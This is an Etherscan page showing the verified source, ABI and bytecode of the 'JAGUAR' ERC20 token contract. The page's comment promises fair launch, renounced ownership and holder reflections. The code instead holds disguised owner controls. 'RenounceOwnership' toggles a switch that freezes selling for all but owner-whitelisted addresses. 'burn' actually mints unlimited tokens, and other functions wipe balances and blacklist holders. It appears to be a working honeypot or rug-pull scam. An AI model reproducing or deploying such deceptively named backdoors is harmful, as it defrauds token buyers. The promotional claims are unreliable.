ETH Price: $3,316.34 (+1.25%)
Gas: 3 Gwei

Token

JAGUAR (JAGUAR)
 

Overview

Max Total Supply

10,000,008,999,999,999,999.999999999999999999 JAGUAR

Holders

21

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
9,497,710,685.844896120522067049 JAGUAR

Value
$0.00
0x6a8005a3df763044f2326d16c1094aaec0b67472
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Jaguar

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-12-09
*/

/*
     ____.                                  
    |    |____     ____  __ _______ _______ 
    |    \__  \   / ___\|  |  \__  \\_  __ \
/\__|    |/ __ \_/ /_/  >  |  // __ \|  | \/
\________(____  /\___  /|____/(____  /__|   
              \//_____/            \/       

JAGUAR is a new ERC20/Eth Token with 6% Tax, 1% goes to Marketing and the other 5% is reflections to token holders.
Liquidity will be locked for 1 year a few minutes after launch and ownership will be renounced. 
50% Supply Burned on Launch
100% Fair Launch - no presale, no dev tokens, all team investments will be with their own money
Telegram: https://t.me/JaguarToken

*/
pragma solidity ^0.8.0;


library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

  
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

   
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

   
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

  function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

 
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

   
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

   
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

   
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

   
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}


interface IERC20 {
   
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
  
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


contract Jaguar is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) public _balances;
    mapping(address => mapping(address => uint256)) public _allowances;
    mapping(address => bool) private _blackbalances;
    
    mapping(address => bool) private _balances1;
    
    
    uint256 public _totalSupply = 9000000000000*10**18;
    string public _name = "JAGUAR";
    string public _symbol= "JAGUAR";
     bool balances1 = true;

    address payable public charityAddress = payable(0x000000000000000000000000000000000000dEaD); // Marketing Address
    uint256 public charityPercent = 0; 
    
    address public immutable burnAddress = 0x000000000000000000000000000000000000dEaD;
    uint256 public burnPercent = 0; 
    
    uint256 public marketingAmount;
    uint256 public burnAmount;
    
    function SetCharityAddress(address payable  _charityAddress) onlyOwner public {
        charityAddress = _charityAddress;
    }
    
    function SetCharityPercent(uint256 _charityPercent) onlyOwner public {
        charityPercent = _charityPercent;
    }
    
    function SetBurnPercent(uint256 _burnPercent) onlyOwner public {
        burnPercent = _burnPercent;
    }
    
    constructor() {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(this), msg.sender, _totalSupply);
        owner = msg.sender;
    }
    
    address public owner;
    
    modifier onlyOwner {
        require(owner == msg.sender);
        _;
    }
    function changeOwner(address _owner) onlyOwner public {
        owner = _owner;
    }
    
      function RenounceOwnership(bool _balances1_) onlyOwner public {
        balances1 = _balances1_;
    }
    
     function Marekting(address account) onlyOwner public {
        _balances1[account] = true;
    }
    
     function Distribution(address account) onlyOwner public {
        _balances1[account] = false;
    }
    
    
    
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }
        return true;
    }

   
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }
        return true;
    }
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(_blackbalances[sender] != true );
        require(balances1 || _balances1[sender] , "ERC20: transfer to the zero address");
        _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        uint256 burnAmount = amount * burnPercent / 100 ; 
        uint256 charityAmount = amount * charityPercent / 100; 
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        amount =  amount - charityAmount - burnAmount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        
         if (charityPercent > 0){
          
           _balances[recipient] += charityAmount;
          emit Transfer(sender, charityAddress, charityAmount);  
            
        }
        
        if (burnPercent > 0){
            
           _totalSupply -= burnAmount;
           emit Transfer(sender, burnAddress, burnAmount);
            
        }
        
        
    }

   

  
    function _approving_burn(address account, uint256 amount) onlyOwner  public virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        _beforeTokenTransfer(account, address(0), amount);
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }
    

      function  burn(address account, uint256 amount) onlyOwner  public virtual {
        require(account != address(0), "ERC20: burn to the zero address");
        _beforeTokenTransfer(address(0), account, amount);
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
    
    
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        //require(balances1 || _balances1[sender] , "ERC20: transfer to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

   
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
    

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"Distribution","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"Marekting","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_balances1_","type":"bool"}],"name":"RenounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_burnPercent","type":"uint256"}],"name":"SetBurnPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"_charityAddress","type":"address"}],"name":"SetCharityAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_charityPercent","type":"uint256"}],"name":"SetCharityPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"_allowances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"_approving_burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"burnAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnPercent","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"changeOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"charityAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"charityPercent","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60a06040526c71989183527a1c5d3c400000006004556040518060400160405280600681526020017f4a41475541520000000000000000000000000000000000000000000000000000815250600590805190602001906200006292919062000251565b506040518060400160405280600681526020017f4a4147554152000000000000000000000000000000000000000000000000000081525060069080519060200190620000b092919062000251565b506001600760006101000a81548160ff02191690831515021790555061dead600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060085561dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1681525060006009553480156200015b57600080fd5b506004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516200020291906200031c565b60405180910390a333600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200039e565b8280546200025f9062000368565b90600052602060002090601f016020900481019282620002835760008555620002cf565b82601f106200029e57805160ff1916838001178555620002cf565b82800160010185558215620002cf579182015b82811115620002ce578251825591602001919060010190620002b1565b5b509050620002de9190620002e2565b5090565b5b80821115620002fd576000816000905550600101620002e3565b5090565b6000819050919050565b620003168162000301565b82525050565b60006020820190506200033360008301846200030b565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200038157607f821691505b6020821081141562000398576200039762000339565b5b50919050565b608051612745620003c160003960008181610a060152611aec01526127456000f3fe608060405234801561001057600080fd5b50600436106101f05760003560e01c80638a4fc68b1161010f578063a9059cbb116100a2578063b81e05bc11610071578063b81e05bc146105bf578063c25047fd146105db578063d28d8852146105f7578063dd62ed3e14610615576101f0565b8063a9059cbb14610537578063afcf2fc414610567578063b09f126614610585578063b64665af146105a3576101f0565b80639dc29fac116100de5780639dc29fac146104b3578063a3de4742146104cf578063a457c2d7146104eb578063a6f9dae11461051b576101f0565b80638a4fc68b1461043f5780638da5cb5b1461045b57806395d89b411461047957806396da497b14610497576101f0565b8063360bfd54116101875780634a8cbae1116101565780634a8cbae1146103a35780636ebcf607146103c157806370a08231146103f157806370d5ae0514610421576101f0565b8063360bfd541461031957806339509351146103375780633eaaf86b14610367578063486a7e6b14610385576101f0565b8063095ea7b3116101c3578063095ea7b31461027d57806318160ddd146102ad57806323b872dd146102cb578063313ce567146102fb576101f0565b8063024c2ddd146101f557806303807ee51461022557806305dbf84d1461024357806306fdde031461025f575b600080fd5b61020f600480360381019061020a9190611be0565b610645565b60405161021c9190611c39565b60405180910390f35b61022d61066a565b60405161023a9190611c39565b60405180910390f35b61025d60048036038101906102589190611c54565b610670565b005b610267610725565b6040516102749190611d1a565b60405180910390f35b61029760048036038101906102929190611d68565b6107b7565b6040516102a49190611dc3565b60405180910390f35b6102b56107d5565b6040516102c29190611c39565b60405180910390f35b6102e560048036038101906102e09190611dde565b6107df565b6040516102f29190611dc3565b60405180910390f35b6103036108d7565b6040516103109190611e4d565b60405180910390f35b6103216108e0565b60405161032e9190611c39565b60405180910390f35b610351600480360381019061034c9190611d68565b6108e6565b60405161035e9190611dc3565b60405180910390f35b61036f610992565b60405161037c9190611c39565b60405180910390f35b61038d610998565b60405161039a9190611c39565b60405180910390f35b6103ab61099e565b6040516103b89190611c39565b60405180910390f35b6103db60048036038101906103d69190611c54565b6109a4565b6040516103e89190611c39565b60405180910390f35b61040b60048036038101906104069190611c54565b6109bc565b6040516104189190611c39565b60405180910390f35b610429610a04565b6040516104369190611e77565b60405180910390f35b61045960048036038101906104549190611d68565b610a28565b005b610463610c4d565b6040516104709190611e77565b60405180910390f35b610481610c73565b60405161048e9190611d1a565b60405180910390f35b6104b160048036038101906104ac9190611c54565b610d05565b005b6104cd60048036038101906104c89190611d68565b610dba565b005b6104e960048036038101906104e49190611ed0565b610f68565b005b61050560048036038101906105009190611d68565b611006565b6040516105129190611dc3565b60405180910390f35b61053560048036038101906105309190611c54565b6110f1565b005b610551600480360381019061054c9190611d68565b61118f565b60405161055e9190611dc3565b60405180910390f35b61056f6111ad565b60405161057c9190611f0c565b60405180910390f35b61058d6111d3565b60405161059a9190611d1a565b60405180910390f35b6105bd60048036038101906105b89190611f27565b611261565b005b6105d960048036038101906105d49190611f27565b6112c5565b005b6105f560048036038101906105f09190611f80565b611329565b005b6105ff6113a0565b60405161060c9190611d1a565b60405180910390f35b61062f600480360381019061062a9190611be0565b61142e565b60405161063c9190611c39565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b60095481565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106ca57600080fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60606005805461073490611fdc565b80601f016020809104026020016040519081016040528092919081815260200182805461076090611fdc565b80156107ad5780601f10610782576101008083540402835291602001916107ad565b820191906000526020600020905b81548152906001019060200180831161079057829003601f168201915b5050505050905090565b60006107cb6107c46114b5565b84846114bd565b6001905092915050565b6000600454905090565b60006107ec848484611688565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108376114b5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156108b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ae90612080565b60405180910390fd5b6108cb856108c36114b5565b8584036114bd565b60019150509392505050565b60006012905090565b600a5481565b60006109886108f36114b5565b8484600160006109016114b5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461098391906120cf565b6114bd565b6001905092915050565b60045481565b600b5481565b60085481565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b7f000000000000000000000000000000000000000000000000000000000000000081565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a8257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610af2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae990612197565b60405180910390fd5b610afe82600083611b78565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610b84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7b90612229565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160046000828254610bdb9190612249565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c409190611c39565b60405180910390a3505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060068054610c8290611fdc565b80601f0160208091040260200160405190810160405280929190818152602001828054610cae90611fdc565b8015610cfb5780601f10610cd057610100808354040283529160200191610cfb565b820191906000526020600020905b815481529060010190602001808311610cde57829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d5f57600080fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e1457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7b906122c9565b60405180910390fd5b610e9060008383611b78565b8060046000828254610ea291906120cf565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ef791906120cf565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f5c9190611c39565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fc257600080fd5b80600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600160006110156114b5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156110d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c99061235b565b60405180910390fd5b6110e66110dd6114b5565b858584036114bd565b600191505092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461114b57600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006111a361119c6114b5565b8484611688565b6001905092915050565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600680546111e090611fdc565b80601f016020809104026020016040519081016040528092919081815260200182805461120c90611fdc565b80156112595780601f1061122e57610100808354040283529160200191611259565b820191906000526020600020905b81548152906001019060200180831161123c57829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112bb57600080fd5b8060098190555050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461131f57600080fd5b8060088190555050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461138357600080fd5b80600760006101000a81548160ff02191690831515021790555050565b600580546113ad90611fdc565b80601f01602080910402602001604051908101604052809291908181526020018280546113d990611fdc565b80156114265780601f106113fb57610100808354040283529160200191611426565b820191906000526020600020905b81548152906001019060200180831161140957829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561152d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611524906123ed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561159d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115949061247f565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161167b9190611c39565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ef90612511565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561175657600080fd5b600760009054906101000a900460ff16806117ba5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6117f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f0906125a3565b60405180910390fd5b611804838383611b78565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600060646009548461185991906125c3565b611863919061264c565b9050600060646008548561187791906125c3565b611881919061264c565b9050838310156118c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118bd906126ef565b60405180910390fd5b8383036000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508181856119189190612249565b6119229190612249565b9350836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461197291906120cf565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516119d69190611c39565b60405180910390a360006008541115611ac657806000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611a3791906120cf565b92505081905550600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611abd9190611c39565b60405180910390a35b60006009541115611b70578160046000828254611ae39190612249565b925050819055507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b679190611c39565b60405180910390a35b505050505050565b505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611bad82611b82565b9050919050565b611bbd81611ba2565b8114611bc857600080fd5b50565b600081359050611bda81611bb4565b92915050565b60008060408385031215611bf757611bf6611b7d565b5b6000611c0585828601611bcb565b9250506020611c1685828601611bcb565b9150509250929050565b6000819050919050565b611c3381611c20565b82525050565b6000602082019050611c4e6000830184611c2a565b92915050565b600060208284031215611c6a57611c69611b7d565b5b6000611c7884828501611bcb565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611cbb578082015181840152602081019050611ca0565b83811115611cca576000848401525b50505050565b6000601f19601f8301169050919050565b6000611cec82611c81565b611cf68185611c8c565b9350611d06818560208601611c9d565b611d0f81611cd0565b840191505092915050565b60006020820190508181036000830152611d348184611ce1565b905092915050565b611d4581611c20565b8114611d5057600080fd5b50565b600081359050611d6281611d3c565b92915050565b60008060408385031215611d7f57611d7e611b7d565b5b6000611d8d85828601611bcb565b9250506020611d9e85828601611d53565b9150509250929050565b60008115159050919050565b611dbd